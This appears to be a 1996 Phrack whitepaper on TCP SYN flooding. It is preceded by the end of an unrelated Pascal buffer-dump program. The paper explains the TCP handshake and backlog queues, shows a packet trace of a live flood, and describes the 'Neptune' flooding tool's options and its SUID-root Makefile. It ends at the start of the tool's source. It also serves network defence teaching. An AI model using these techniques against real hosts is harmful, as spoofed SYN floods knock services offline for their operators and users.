procedure ResetCombo;
|
||
var
|
||
l: Word;
|
||
begin
|
||
for l:=1 to 4 do asm
|
||
mov ax, 0
|
||
int $ff
|
||
end;
|
||
end;
|
||
|
||
procedure DoCombo;
|
||
begin
|
||
asm
|
||
mov ax, combo0
|
||
int $ff
|
||
mov ax, combo1
|
||
int $ff
|
||
mov ax, combo2
|
||
int $ff
|
||
mov ax, combo3
|
||
int $ff
|
||
end;
|
||
end;
|
||
|
||
begin
|
||
Assign(f, ParamStr(1));
|
||
Rewrite(f);
|
||
|
||
ResetCombo;
|
||
|
||
DoCombo;
|
||
asm
|
||
mov ax, SEG info
|
||
mov es, ax
|
||
mov di, OFFSET info
|
||
mov ax, GET_INFO
|
||
int $ff
|
||
end;
|
||
|
||
writeln(f,'Buffer size: ',info.buffer_size);
|
||
writeln(f,'Buffer ptr: ',info.buffer_ptr);
|
||
writeln(f,'Overwrite: ',info.overwrite);
|
||
|
||
DoCombo;
|
||
asm
|
||
mov ax, SEG buffer
|
||
mov es, ax
|
||
mov di, OFFSET buffer
|
||
mov ax, DUMP_BUFFER
|
||
int $ff
|
||
end;
|
||
|
||
for l:=0 to info.buffer_ptr do begin
|
||
write(f, Char(buffer[l]));
|
||
if buffer[l] = 13 then write(f,#10);
|
||
end;
|
||
|
||
Close(f);
|
||
end.
|
||
|
||
==Phrack Magazine==
|
||
|
||
Volume Seven, Issue Forty-Eight, File 13 of 18
|
||
|
||
|
||
[ Project Neptune ]
|
||
|
||
by daemon9 / route / infinity
|
||
for Phrack Magazine
|
||
July 1996 Guild Productions, kid
|
||
|
||
comments to route@infonexus.com
|
||
|
||
|
||
This project is a comprehensive analysis of TCP SYN flooding. You
|
||
may be wondering, why such a copious treatment of TCP SYN flooding?
|
||
Apparently, someone had to do it. That someone turned out to be me (I need
|
||
a real hobby). The SYNflood Project consists of this whitepaper, including
|
||
anotated network monitor dumps and fully functional robust Linux sourcecode.
|
||
|
||
|
||
--[ Introduction ]--
|
||
|
||
|
||
TCP SYN flooding is a denial of service (DOS) attack. Like most DOS
|
||
attacks, it does not exploit a software bug, but rather a shortcoming in the
|
||
implemenation of a particular protocol. For example, mail bombing DOS attacks
|
||
work because most SMTP agents are dumb and will accept whatever is sent their
|
||
way. ICMP_ECHO floods exploit the fact that most kernels will simply reply to
|
||
ICMP_ECHO request packets one after another, ad inifintum. We will see that
|
||
TCP SYN flood DOS attacks work because of the current implementation of TCP's
|
||
connection establishment protocol.
|
||
|
||
|
||
--[ Overview ]--
|
||
|
||
|
||
This whitepaper is intended as a complete introduction to TCP SYN
|
||
flooding (refered to hereafter as SYN flooding). It will cover the attack
|
||
in detail, including all relevant necessary background information. It is
|
||
organized into sections:
|
||
|
||
Section I. TCP Background Information
|
||
Section II. TCP Memory Structures and the Backlog
|
||
Section III. TCP Input Processing
|
||
Section IV. The Attack
|
||
Section V. Network Trace
|
||
Section VI. Neptune.c
|
||
Section VII. Discussion and Prevention
|
||
Section VIII. References
|
||
|
||
(Note that readers unfamiliar with the TCP/IP protocol suite may wish to first
|
||
read ftp://ftp.infonexus.com/pub/Philes/NetTech/TCP-IP/tcipIp.intro.txt.gz)
|
||
|
||
|
||
--[ The Players ]--
|
||
|
||
|
||
A: Target host
|
||
X: Unreachable host
|
||
Z: Attacking host
|
||
Z(x): Attacker masquerading as the unreachable
|
||
|
||
|
||
--[ The Figures ]--
|
||
|
||
|
||
There are a few network transaction figures in the paper and
|
||
they are to be interpreted as per the following example:
|
||
|
||
tick host a control host b
|
||
|
||
tick:
|
||
A unit of time. There is no distinction made as to *how* much time
|
||
passes between ticks, just that time passes. It's generally not going to be
|
||
a great deal.
|
||
host a:
|
||
A machine particpating in a TCP-based conversation.
|
||
control:
|
||
This field shows any relevant control bits set in the TCP header and
|
||
the direction the data is flowing
|
||
host b:
|
||
A machine particpating in a TCP-based conversation.
|
||
|
||
For example:
|
||
|
||
1 A ---SYN---> B
|
||
|
||
In this case, at the first refrenced point in time, host a is sending
|
||
a TCP segment to host b with the SYN bit on. Unless stated, we are generally
|
||
not concerned with the data portion of the TCP segment.
|
||
|
||
|
||
|
||
Section I. TCP Background Information
|
||
|
||
|
||
|
||
TCP is a connection-oriented, reliable transport protocol. TCP is
|
||
responsible for hiding network intricacies from the upper layers. A
|
||
connection-oriented protcol implies that the two hosts participating in a
|
||
discussion must first establish a connection before data may be exchanged. In
|
||
TCP's case, this is done with the three-way handshake. Reliability can be
|
||
provided in a number of ways, but the only two we are concerned with are data
|
||
sequencing and acknowledgement. TCP assigns sequence numbers to every byte in
|
||
every segment and acknowledges all data bytes recieved from the other end.
|
||
(ACK's consume a sequence number, but are not themselves ACK'd. That would be
|
||
ludicris.)
|
||
|
||
|
||
--[ TCP Connection Establishment ]--
|
||
|
||
|
||
In order to exchange data using TCP, hosts must establish a connection.
|
||
TCP establishes a connection in a 3 step process called the 3-way handshake.
|
||
If machine A is running a client program and wishes to conect to a server
|
||
program on machine B, the process is as follows:
|
||
|
||
fig(1)
|
||
|
||
1 A ---SYN---> B
|
||
|
||
2 A <---SYN/ACK--- B
|
||
|
||
3 A ---ACK---> B
|
||
|
||
|
||
At (1) the client is telling the server that it wants a connection.
|
||
This is the SYN flag's only purpose. The client is telling the server that
|
||
the sequence number field is valid, and should be checked. The client will
|
||
set the sequence number field in the TCP header to it's ISN (initial sequence
|
||
number). The server, upon receiving this segment (2) will respond with it's
|
||
own ISN (therefore the SYN flag is on) and an ACKnowledgement of the clients
|
||
first segment (which is the client's ISN+1). The client then ACK's the
|
||
server's ISN (3). Now data transfer may take place.
|
||
|
||
|
||
--[ TCP Control Flags ]--
|
||
|
||
|
||
There are six TCP control flags. We are only concerned with 3, but
|
||
the others are included for posterity:
|
||
|
||
*SYN: Synchronize Sequence Numbers
|
||
The synchronize sequence numbers field is valid. This flag is only
|
||
valid during the 3-way handshake. It tells the receiving TCP to check the
|
||
sequence number field, and note it's value as the connection-initiator's
|
||
(usually the client) initial sequence number. TCP sequence numbers can
|
||
simply be thought of as 32-bit counters. They range from 0 to 4,294,967,295.
|
||
Every byte of data exchanged across a TCP connection (along with certain
|
||
flags) is sequenced. The sequence number field in the TCP header will contain
|
||
the sequence number of the *first* byte of data in the TCP segment.
|
||
|
||
*ACK: Acknowledgement
|
||
The acknowledgement number field is valid. This flag is almost always
|
||
set. The acknowledgement number field in the TCP header holds the value of
|
||
the next *expected* sequence number (from the other side), and also
|
||
acknowledges *all* data (from the other side) up through this ACK number minus
|
||
one.
|
||
|
||
*RST: Reset
|
||
Destroy the referenced connection. All memory structures are torn
|
||
down.
|
||
|
||
URG: Urgent
|
||
The urgent pointer is valid. This is TCP's way of implementing out
|
||
of band (OOB) data. For instance, in a telnet connection a `ctrl-c` on the
|
||
client side is considered urgent and will cause this flag to be set.
|
||
|
||
PSH: Push
|
||
The receiving TCP should not queue this data, but rather pass it to
|
||
the application as soon as possible. This flag should always be set in
|
||
interactive connections, such as telnet and rlogin.
|
||
|
||
FIN: Finish
|
||
The sending TCP is finished transmitting data, but is still open to
|
||
accepting data.
|
||
|
||
|
||
--[ Ports ]--
|
||
|
||
|
||
To grant simultaneous access to the TCP module, TCP provides a user
|
||
interface called a port. Ports are used by the kernel to identify network
|
||
processes. They are strictly transport layer entities. Together with an
|
||
IP address, a TCP port provides provides an endpoint for network
|
||
communications. In fact, at any given moment *all* Internet connections can
|
||
be described by 4 numbers: the source IP address and source port and the
|
||
destination IP address and destination port. Servers are bound to
|
||
'well-known' ports so that they may be located on a standard port on
|
||
different systems. For example, the telnet daemon sits on TCP port 23.
|
||
|
||
|
||
|
||
Section II. TCP Memory Structures and the Backlog
|
||
|
||
|
||
|
||
For a copius treatment of the topic of SYN flooding, it is necessary
|
||
to look at the memory structures that TCP creates when a client SYN arrives
|
||
and the connection is pending (that is, a connection that is somewhere in
|
||
the process of the three-way handshake and TCP is in the SYN_SENT or
|
||
SYN_RVCD state).
|
||
|
||
|
||
--[ BSD ]--
|
||
|
||
|
||
Under BSD style network code, for any given pending TCP connection
|
||
there are three memory structures that are allocated (we do not discuss the
|
||
process (proc) structure and file structure, but the reader should be aware
|
||
that they exist as well.):
|
||
|
||
Socket Structure (socket{}):
|
||
Holds the information related to the local end of the communications
|
||
link: protocol used, state information, addressing information, connection
|
||
queues, buffers, and flags.
|
||
|
||
Internet Protocol Control Block Structure (inpcb{}):
|
||
PCB's are used at the transport layer by TCP (and UDP) to hold various
|
||
pieces of information needed by TCP. They hold: TCP state information, IP
|
||
address information, port numbers, IP header prototype and options and a
|
||
pointer to the routing table entry for the destination address. PCB's are
|
||
created for a given TCP based server when the server calls listen(),
|
||
|
||
TCP Control Block Structure (tcpcb{}):
|
||
The TCP control block contains TCP specific information such as timer
|
||
information, sequence number information, flow control status, and OOB data.
|
||
|
||
|
||
--[ Linux ]--
|
||
|
||
|
||
Linux uses a different scheme of memory allocation to hold network
|
||
information. The socket structure is still used, but instead of the pcb{}
|
||
and tcpcb{}, we have:
|
||
|
||
Sock Structure (sock{}):
|
||
Protocol specific information, most of the data structures are TCP
|
||
related. This is a huge structure.
|
||
|
||
SK Structure (sk_buff{}):
|
||
Holds more protocol specific information including packet header
|
||
information, also contains a sock{}.
|
||
|
||
According to Alan Cox:
|
||
The inode is the inode holding the socket (this may be a dummy inode
|
||
for non file system sockets like IP), the socket holds generic high level
|
||
methods and the struct sock is the protocol specific object, although all but
|
||
a few experimental high performance items use the same generic struct sock and
|
||
support code. That holds chains of linear buffers (struct sk_buff's).
|
||
|
||
[ struct inode -> struct socket -> struct sock -> chains of sk_buff's ]
|
||
|
||
|
||
--[ The Backlog Queue]--
|
||
|
||
|
||
These are large memory structures. Every time a client SYN arrives
|
||
on a valid port (a port where a TCP server is listen()ing), they must be
|
||
allocated. If there were no limit, a busy host could easily exhuast all of
|
||
it's memory just trying to process TCP connections. (This would be an even
|
||
simpler DOS attack.) However, there is an upper limit to amount of
|
||
concurrent connection requests a given TCP can have outstanding for a
|
||
given socket. This limit is the backlog and it is the length of the queue
|
||
where incoming (as yet incomplete) connections are kept. This queue limit
|
||
applies to both the number of imcomplete connections (the 3-way handshake has
|
||
not been completed) and the number of completed connections that have not
|
||
been pulled from the queue by the application by way of the accept() call.
|
||
If this backlog limit is reached, we will see that TCP will silently
|
||
discard all incoming connection requests until the pending connections can
|
||
be dealt with.
|
||
The backlog is not a large value. It does not have to be. Normally
|
||
TCP is quite expedient in connection establishment processing. Even if a
|
||
connection arrived while the queue was full, in all likelyhood, when the
|
||
client retransmits it's connection request segment, the receiving TCP will
|
||
have room again in it's queue. Different TCP implementations have different
|
||
backlog sizes. Under BSD style networking code, there is also 'grace' margin
|
||
of 3/2. That is, TCP will allow up to backlog*3/2+1 connections. This will
|
||
allow a socket one connection even if it calls listen with a backlog of 0.
|
||
Some common backlog values:
|
||
fig(2)
|
||
|
||
OS Backlog BL+Grace Notes
|
||
---------------------------------------------------------------------------
|
||
SunOS 4.x.x: 5 8
|
||
IRIX 5.2: 5 8
|
||
Solaris
|
||
Linux 1.2.x: 10 10 Linux does not have this grace margin.
|
||
FreeBSD 2.1.0: 32
|
||
FreeBSD 2.1.5: 128
|
||
Win NTs 3.5.1: 6 6 NT does not appear to have this margin.
|
||
Win NTw 4.0: 6 6 NT has a pathetic backlog.
|
||
|
||
|
||
|
||
Section III. TCP Input Processing
|
||
|
||
|
||
|
||
To see exactly where the attack works it is necessary to watch as
|
||
the receiving TCP processes an incoming segment. The following is true for
|
||
BSD style networking, and only processes relevant to this paper are
|
||
discussed.
|
||
|
||
A packet arrives and is demultiplexed up the protocol stack to TCP. The TCP
|
||
state is LISTEN:
|
||
|
||
Get header information:
|
||
TCP retrieves the TCP and IP headers and stores the information in
|
||
memory.
|
||
Verify the TCP checksum:
|
||
The standard Internet checksum is applied to the segment. If it
|
||
fails, no ACK is sent, and the segment is dropped, assuming the client will
|
||
retranmit it.
|
||
Locate the PCB{}:
|
||
TCP locates the pcb{} associated with the connection. If it is not
|
||
found, TCP drops the segment and sends a RST. (Aside: This is how TCP
|
||
handles connections that arrive on ports with no server listen()ing.) If
|
||
the PCB{} exists, but the state is CLOSED, the server has not called
|
||
connect() or listen(). The segment is dropped, but no RST is sent. The
|
||
client is expected to retransmit it's connection request. We will see this
|
||
occurence when we discuss the 'Linux Anomaly'.
|
||
Create new socket:
|
||
When a segment arrives for a listen()ing socket, a slave socket is
|
||
created. This is where a socket{}, tcpcb{}, and another pcb{} are created.
|
||
TCP is not committed to the connection at this point, so a flag is set to
|
||
cause TCP to drop the socket (and destroy the memory structures) if an
|
||
error is encountered. If the backlog limit is reached, TCP considers this
|
||
an error, and the connection is refused. We will see that this is exactly
|
||
why the attack works. Otherwise, the new socket's TCP state is LISTEN, and
|
||
the completion of the passive open is attempted.
|
||
Drop if RST, ACK, or no SYN:
|
||
If the segment contains a RST, it is dropped. If it contains an
|
||
ACK, it is dropped, a RST is sent and the memory structures torn down (the
|
||
ACK makes no sense for the connection at this point, and is considered an
|
||
error). If the segment does not have the SYN bit on, it is dropped. If
|
||
the segment contains a SYN, processing continues.
|
||
Address processing, etc:
|
||
TCP then gets the clients address information into a buffer and
|
||
connects it's pcb{} to the client, processes any TCP options, and
|
||
initializes it's initial send sequence (ISS) number.
|
||
ACK the SYN:
|
||
TCP sends a SYN, ISS and an ACK to the client. The connection
|
||
establishment timer is set for 75 seconds at this point. The state changes
|
||
to SYN_RCVD. Now. TCP is commited to the socket. We will see that this
|
||
is state the target TCP will be in when in the throes of the attack because
|
||
the expected client response is never received. The state remains SYN_RCVD
|
||
until the connection establishment timer expires, in which case the all the
|
||
memory structures associated with the connection are destroyed, and the
|
||
socket returns to the LISTEN state.
|
||
|
||
|
||
|
||
Section IV. The Attack
|
||
|
||
|
||
|
||
A TCP connection is initiated with a client issuing a request to a
|
||
server with the SYN flag on in the TCP header. Normally the server will
|
||
issue a SYN/ACK back to the client identified by the 32-bit source address in
|
||
the IP header. The client will then send an ACK to the server (as we
|
||
saw in figure 1 above) and data transfer can commence. When the client IP
|
||
address is spoofed to be that of an unreachable, host, however, the targetted
|
||
TCP cannot complete the 3-way handshake and will keep trying until it times
|
||
out. That is the basis for the attack.
|
||
The attacking host sends a few (we saw that as little as 6 is
|
||
enough) SYN requests to the target TCP port (for example, the telnet daemon).
|
||
The attacking host also must make sure that the source IP-address is spoofed
|
||
to be that of another, currently unreachable host (the target TCP will be
|
||
sending it's response to this address). IP (by way of ICMP) will inform TCP
|
||
that the host is unreachable, but TCP considers these errors to be transient
|
||
and leaves the resolution of them up to IP (reroute the packets, etc)
|
||
effectively ignoring them. The IP-address must be unreachable because the
|
||
attacker does not want *any* host to recieve the SYN/ACKs that will be coming
|
||
from the target TCP, which would elicit a RST from that host (as we saw in
|
||
TCP input above). This would foil the attack. The process is as follows:
|
||
|
||
fig(3)
|
||
|
||
1 Z(x) ---SYN---> A
|
||
|
||
Z(x) ---SYN---> A
|
||
|
||
Z(x) ---SYN---> A
|
||
|
||
Z(x) ---SYN---> A
|
||
|
||
Z(x) ---SYN---> A
|
||
|
||
Z(x) ---SYN---> A
|
||
|
||
|
||
2 X <---SYN/ACK--- A
|
||
|
||
X <---SYN/ACK--- A
|
||
|
||
...
|
||
|
||
3 X <---RST--- A
|
||
|
||
|
||
At (1) the attacking host sends a multitude of SYN requests to the target
|
||
to fill it's backlog queue with pending connections. (2) The target responds
|
||
with SYN/ACKs to what it believes is the source of the incoming SYNs. During
|
||
this time all further requests to this TCP port will be ignored. The target
|
||
port is flooded.
|
||
|
||
|
||
--[ Linux Anomaly ]--
|
||
|
||
|
||
In doing my research for this project, I noticed a very strange
|
||
implementation error in the TCP module of Linux. When a particular TCP
|
||
server is flooded on a Linux host, strange things are afoot... First, it
|
||
appears that the connection-establishment timer is broken. The 10 spoofed
|
||
connection-requests keep the sockets in the SYN_RCVD state for just
|
||
over 20 minutes (23 minutesto be exact. Wonder what the signifigance of
|
||
this is... Hmmm...). Much longer than the 75-seconds it *should* be. The
|
||
next oddity is even more odd... After that seemingly arbitrary time period
|
||
(I have to determine what the hell is going on there), TCP moves the flooded
|
||
sockets into the CLOSE state, where they *stay* until a connection-request
|
||
arrives on a *different* port. If a connection-request arrives on the
|
||
flooded port (now in the CLOSE state), it will not answer, acting as if it
|
||
is still flooded. After the connection-request arrives on a different port,
|
||
the CLOSEd sockets will be destroyed, and the original flooded port will be
|
||
free to answer requests again. It seems as though the connection-request
|
||
will spark the CLOSEd sockets into calling listen()... Damn wierd if you ask
|
||
me...
|
||
The implications of this are severe. I have been able to completely
|
||
disable all TCP based servers from answering requests indefinitely. If all
|
||
the TCP servers are flooded, there are none to recieve the valid connection
|
||
request to alleviate the CLOSE state from the flooded connections. Bad
|
||
news indeed.
|
||
[Note: as of 7.15.96 this is a conundrum. I have contacted Alan
|
||
Cox and Eric Schenk and plan to work with them on a solution to this
|
||
problem. I be forthcoming with all our findings as soon as possible. I
|
||
believe the problem to perhaps lie (at least in part) in the
|
||
tcp_close_pending() function... Or perhaps there is a logic error in how
|
||
TCP switches between the connection-establishment timer and the
|
||
keep-alive timer. They are both implemented using the same variable since
|
||
they are mutally exclusive...]
|
||
|
||
|
||
|
||
|
||
Section V. Network Trace
|
||
|
||
|
||
|
||
The following is a network trace from an actual SYN flooding session.
|
||
The target machine is Ash, a Linux 1.2.13 box. The attacker is Onyx. The
|
||
network is a 10Mbps ethernet.
|
||
|
||
Network Monitor trace Fri 07/12/96 10:23:34 Flood1.TXT
|
||
|
||
Frame Time Src MAC Addr Dst MAC Addr Protocol Description Src Other Addr Dst Other Addr Type Other Addr
|
||
|
||
1 2.519 onyx ash TCP/23 ....S., len: 4, seq:3580643269, ack:1380647758, win: 512, src 192.168.2.2 192.168.2.7 IP
|
||
2 2.520 ash onyx TCP/1510 .A..S., len: 4, seq: 659642873, ack:3580643270, win:14335, src 192.168.2.7 192.168.2.2 IP
|
||
3 2.520 onyx ash TCP/23 .A...., len: 0, seq:3580643270, ack: 659642874, win:14260, src 192.168.2.2 192.168.2.7 IP
|
||
|
||
A telnet client is started on Onyx, and we see the standard 3-way
|
||
handshake between the two hosts for the telnet session.
|
||
|
||
Lines 4-126 were interactive telnet traffic and added nothing to the
|
||
discussion.
|
||
|
||
127 12.804 ash onyx TCP/1510 .A...F, len: 0, seq: 659643408, ack:3580643401, win:14335, src 192.168.2.7 192.168.2.2 IP
|
||
128 12.804 onyx ash TCP/23 .A...., len: 0, seq:3580643401, ack: 659643409, win:14322, src 192.168.2.2 192.168.2.7 IP
|
||
129 12.805 onyx ash TCP/23 .A...F, len: 0, seq:3580643401, ack: 659643409, win:14335, src 192.168.2.2 192.168.2.7 IP
|
||
130 12.805 ash onyx TCP/1510 .A...., len: 0, seq: 659643409, ack:3580643402, win:14334, src 192.168.2.7 192.168.2.2 IP
|
||
|
||
Here we see the 4-way connection termination procedure.
|
||
|
||
At this point, the flood program is started on onyx, the information
|
||
filled in, and the attack is launched.
|
||
|
||
131 42.251 onyx *BROADCAST ARP_RARP ARP: Request, Target IP: 192.168.2.7
|
||
|
||
Onyx is attempting to get ash's ethernet address using ARP.
|
||
|
||
132 42.251 ash onyx ARP_RARP ARP: Reply, Target IP: 192.168.2.2 Target Hdwr Addr: 0020AF2311D7
|
||
|
||
Ash responds with it's ethernet address.
|
||
|
||
133 42.252 onyx ash TCP/23 ....S., len: 0, seq:3364942082, ack: 0, win: 242, src 192.168.2.10 192.168.2.7 IP
|
||
|
||
The flood begins. Onyx sends the first of 10 TCP segments with the
|
||
SYN bit on, and the IP address spoofed to the telnet daemon.
|
||
|
||
134 42.252 ash *BROADCAST ARP_RARP ARP: Request, Target IP: 192.168.2.10
|
||
|
||
Ash immediately attempts to resolve the ethernet address. However,
|
||
since there is no such host on the network (and no router to proxy
|
||
the request with) the ARP request will not be answered. The host,
|
||
is in effect, unreachable.
|
||
|
||
135 42.271 onyx ash TCP/23 ....S., len: 0, seq:3381719298, ack: 0, win: 242, src 192.168.2.10 192.168.2.7 IP
|
||
136 42.291 onyx ash TCP/23 ....S., len: 0, seq:3398496514, ack: 0, win: 242, src 192.168.2.10 192.168.2.7 IP
|
||
137 42.311 onyx ash TCP/23 ....S., len: 0, seq:3415273730, ack: 0, win: 242, src 192.168.2.10 192.168.2.7 IP
|
||
138 42.331 onyx ash TCP/23 ....S., len: 0, seq:3432050946, ack: 0, win: 242, src 192.168.2.10 192.168.2.7 IP
|
||
139 42.351 onyx ash TCP/23 ....S., len: 0, seq:3448828162, ack: 0, win: 242, src 192.168.2.10 192.168.2.7 IP
|
||
140 42.371 onyx ash TCP/23 ....S., len: 0, seq:3465605378, ack: 0, win: 242, src 192.168.2.10 192.168.2.7 IP
|
||
141 42.391 onyx ash TCP/23 ....S., len: 0, seq:3482382594, ack: 0, win: 242, src 192.168.2.10 192.168.2.7 IP
|
||
142 42.411 onyx ash TCP/23 ....S., len: 0, seq:3499159810, ack: 0, win: 242, src 192.168.2.10 192.168.2.7 IP
|
||
143 42.431 onyx ash TCP/23 ....S., len: 0, seq:3515937026, ack: 0, win: 242, src 192.168.2.10 192.168.2.7 IP
|
||
|
||
The next 9 of 10 SYNs. The telnet daemon on ash is now flooded.
|
||
At this point, another telnet client is started on Onyx.
|
||
|
||
144 47.227 onyx *BROADCAST ARP_RARP ARP: Request, Target IP: 192.168.2.7
|
||
|
||
Onyx is again attempting to get ash's ethernet address using ARP.
|
||
Hmmm, this entry should be in the arp cache. I should look into
|
||
this.
|
||
|
||
145 47.228 ash onyx ARP_RARP ARP: Reply, Target IP: 192.168.2.2 Target Hdwr Addr: 0020AF2311D7
|
||
|
||
Here is the ARP reply.
|
||
|
||
146 47.228 onyx ash TCP/23 ....S., len: 4, seq:3625358638, ack: 0, win: 512, src 192.168.2.2 192.168.2.7 IP
|
||
147 50.230 onyx ash TCP/23 ....S., len: 4, seq:3625358638, ack: 0, win:14335, src 192.168.2.2 192.168.2.7 IP
|
||
148 56.239 onyx ash TCP/23 ....S., len: 4, seq:3625358638, ack: 0, win:14335, src 192.168.2.2 192.168.2.7 IP
|
||
|
||
Onyx is attempting to establish a connection with the telnet daemon
|
||
on Ash, which is, as we saw, flooded.
|
||
|
||
149 67.251 ash *BROADCAST ARP_RARP ARP: Request, Target IP: 192.168.2.10
|
||
|
||
Ash is still trying to get the ethernet address of the spoofed host.
|
||
In vain...
|
||
|
||
150 68.247 onyx ash TCP/23 ....S., len: 4, seq:3625358638, ack: 0, win:14335, src 192.168.2.2 192.168.2.7 IP
|
||
151 92.254 onyx ash TCP/23 ....S., len: 4, seq:3625358638, ack: 0, win:14335, src 192.168.2.2 192.168.2.7 IP
|
||
|
||
Onyx is still transmitting it's connection-estabishment requests...
|
||
Also in vain.
|
||
|
||
152 92.258 ash *BROADCAST ARP_RARP ARP: Request, Target IP: 192.168.2.10
|
||
|
||
Hello? Are you out there?
|
||
|
||
|
||
|
||
Section VI. Neptune.c
|
||
|
||
|
||
|
||
Neptune.c is the companion code. It does everything we've talked
|
||
about, and more. Neptune.c is admittedly more complex than it needs to
|
||
be. I included several features that are not essential, but make the
|
||
program more robust. The program features: simple to use menuing system, an
|
||
alternative command line interface for easy integration into scripts,
|
||
ICMP_ECHO requesting to query if unreachable is in fact unreachable (AKA
|
||
'ping'ing), infinity mode (read the code) and a daemon mode with (psuedo)
|
||
random unreachable IP address choosing.
|
||
|
||
The menu is really self explanatory...
|
||
|
||
1 Enter target host
|
||
|
||
Enter yur target. If you are confused at this point, kill yurself.
|
||
|
||
2 Enter source (unreachable) host
|
||
|
||
Enter the puported sender. It is integral that this host be routable but not
|
||
reachable. Remember that the address must be a unicast address. If it is a
|
||
broadcast or multicast address it will be dropped by the target TCP.
|
||
|
||
3 Send ICMP_ECHO(s) to unreachable
|
||
|
||
Make sure that yur puported sender is in fact unreachable. This is not 100%
|
||
reliable as A) ICMP packets can be dropped by the unreliable network layer,
|
||
B) the host may filter out ICMP_ECHO packets.
|
||
|
||
4 Enter port number to flood
|
||
|
||
The target port to flood. There is an infinity switch.
|
||
|
||
5 Enter number of SYNs
|
||
|
||
The number of SYNs to send. Remember, this attack is not bandwidth hungry,
|
||
sending more packets than neccessary is totally useless.
|
||
|
||
6 Quit
|
||
|
||
Bye, bye.
|
||
|
||
7 Lanuch
|
||
|
||
Fire when ready.
|
||
|
||
8 Daemonize (may or may not be implemented in yur version)
|
||
|
||
Puts the program in dameon mode. It forks to the background and does it's
|
||
evilness there. Needs two more options: packet sending interval, and time
|
||
for daemon to live. Recommended packet sending interval is at least every
|
||
90 seconds, depending on the target TCP. 80 should work fine, as the
|
||
connection establishment timer is 75 seconds. Daemon lifetime is up to you.
|
||
Be kind.
|
||
Also the daemon portion includes routines to optionally make use
|
||
of a file of unreachable IP addresses and (pseudo) randomly choose from
|
||
them. The program reads the file and builds a dynamic array of these IP
|
||
addresses in network byte order and then uses rand (seeded from the time of
|
||
day in seconds --we don't need alot of entropy here, this isn't
|
||
cryptography--) to generate a number and then it mods that number by the
|
||
number of entries in the table to hash to a particular IP address.
|
||
|
||
Since the program opens raw sockets, it needs to run as root. By
|
||
default, it is installed SUID root in /usr/local/bin/neptune with the access
|
||
list in /etc/sfaccess.conf. The authentication mechanism works by checking
|
||
the usernames (via UID) of the attempted flooders. It is not a complex
|
||
algorithm, and in fact the code is quite simple (asside: If anyone can find
|
||
any security problems with the program being SUID root, --above the fact
|
||
that the program is admittedly evil-- I would love to hear about them). Root
|
||
is the only entry the access file starts off with.
|
||
For the program to work, you need to remove the comment marks from
|
||
line 318 (the actual sendto() call where the forged datagrams are sent). I
|
||
did that so the fools simply interested in causing trouble (and not interested
|
||
in learning) would find the program mostly useless.
|
||
|
||
|
||
|
||
Section VII. Discussion and Prevention
|
||
|
||
|
||
|
||
As we have seen, the attack works because TCP is attempting to do it's
|
||
job of providing a reliable transport. TCP must establish a connection first,
|
||
and this is where the weakness lies. (T/TCP is immune to this attack via TAO.
|
||
See my future paper: `The Next Generation Internet` for information on T/TCP
|
||
and IPng.) Under normal circumstances, assuming well-behaved networking
|
||
software, the worst that can happen is a TCP-based server may be wrapped up in
|
||
legimate connection-establishment processing and a few clients may have to
|
||
retransmit thier SYNs. But, a misbegotten client program can exploit this
|
||
connection-establishment weakness and down a TCP-based server with only a few
|
||
doctored segments.
|
||
The fact that SYN flooding requires such a small amount of network
|
||
traffic to be so effective is important to note. Consider other network
|
||
DOS attacks such as ICMP_ECHO floods (ping floods), mail bombs, mass mailing
|
||
list subscriptions, etc... To be effective, all of these attacks require
|
||
an attacker to transmit volumous amounts of network traffic. Not only does
|
||
this make these attacks more noticable on both ends by decreasing the amount
|
||
of available bandwidth (as such, often these attacks are waged from compromised
|
||
machines) but it also adds to the general traffic problems of the Internet.
|
||
SYN flooding can be deadly effective with as little as 360 packets/hour.
|
||
|
||
|
||
--[ Prevention ]--
|
||
|
||
|
||
Ok, so how do we stop it? Good question.
|
||
|
||
|
||
--[ TCPd ]--
|
||
|
||
|
||
TCP wrappers are almost useless. The magic they do is based on the
|
||
validity of the source IP-address of incoming datagrams. As we know, this can
|
||
be spoofed to whatever the attacker desires. Unless the target has denied
|
||
traffic from *everywhere* except known hosts, TCP wrappers will not save you.
|
||
|
||
|
||
--[ Increase the Backlog ]--
|
||
|
||
|
||
Increasing the default backlog is not much of a solution. In
|
||
comparision with the difficulty of an attacker simply sending more packets,
|
||
the memory requirements of the additional connection-establishment structures
|
||
is prohibitively expensive. At best it is an obfuscative (word check...?)
|
||
measure.
|
||
|
||
|
||
--[ Packet Filtering ]--
|
||
|
||
|
||
A smart packet filter (or kernel modification) of some kind may be
|
||
a viable solution. Briefly:
|
||
|
||
- Host keeps a recent log of incoming packets with the `SYN` bit on in a
|
||
linked list structure.
|
||
- The linked list cannot be permitted to grow without bound (another DOS
|
||
attack would present itself)
|
||
- When x amount of SYNs are received on a socket, certain characteristics
|
||
about the packets are compared, (Source port, source IP address, sequence
|
||
numbers, window size, etc) and if things seem fishy, the connection
|
||
requests and associated memory structures are immediately destroyed.
|
||
|
||
|
||
|
||
Section VIII. References
|
||
|
||
|
||
|
||
Ppl: A. Cox, R. Stevens
|
||
Books: TCP Illustrated vols II,III
|
||
|
||
|
||
|
||
This project made possible by a grant from the Guild Corporation.
|
||
|
||
EOF
|
||
|
||
|
||
------------------------8<--------------------------------------------
|
||
|
||
|
||
# Neptune Makefile
|
||
# daemon9, 1996 Guild Productions
|
||
|
||
all:
|
||
@gcc -o neptune neptune.c
|
||
@echo ""
|
||
@echo "'make install' will install the program..."
|
||
@echo ""
|
||
@echo "Warning! Neptune is installed SUID root by default!"
|
||
@echo ""
|
||
@echo "route@infonexus.com / Guild Corporation"
|
||
install:
|
||
strip ./neptune
|
||
mv ./neptune /usr/local/bin/neptune
|
||
chmod 4755 /usr/local/bin/neptune
|
||
@echo "root" > /etc/sfaccess.conf
|
||
@echo "Installation complete, access list is /etc/sfaccess.conf"
|
||
clean:
|
||
@rm -f *.o neptune /etc/sfaccess.conf
|
||
|
||
|
||
------------------------8<--------------------------------------------
|
||
|
||
|
||
/*
|
||
Neptune
|
||
v. 1.5
|
||
|
||
daemon9/route/infinity
|
||
|
||
June 1996 Guild productions
|
||
|
||
comments to daemon9@netcom.com
|
||
|
||
If you found this code alone, without the companion whitepaper
|
||
please get the real-deal:
|
||
ftp.infonexus.com/pub/SourceAndShell/Guild/Route/Projects/Neptune/neptune.tgz
|
||
|
||
Brief synopsis:
|
||
Floods the target host with TCP segments with the SYN bit on,
|
||
puportedly from an unreachable host. The return address in the
|
||
IP header is forged to be that of a known unreachable host. The
|
||
attacked TCP, if flooded sufficently, will be unable to respond
|
||
to futher connects. See the accompanying whitepaper for a full
|
||
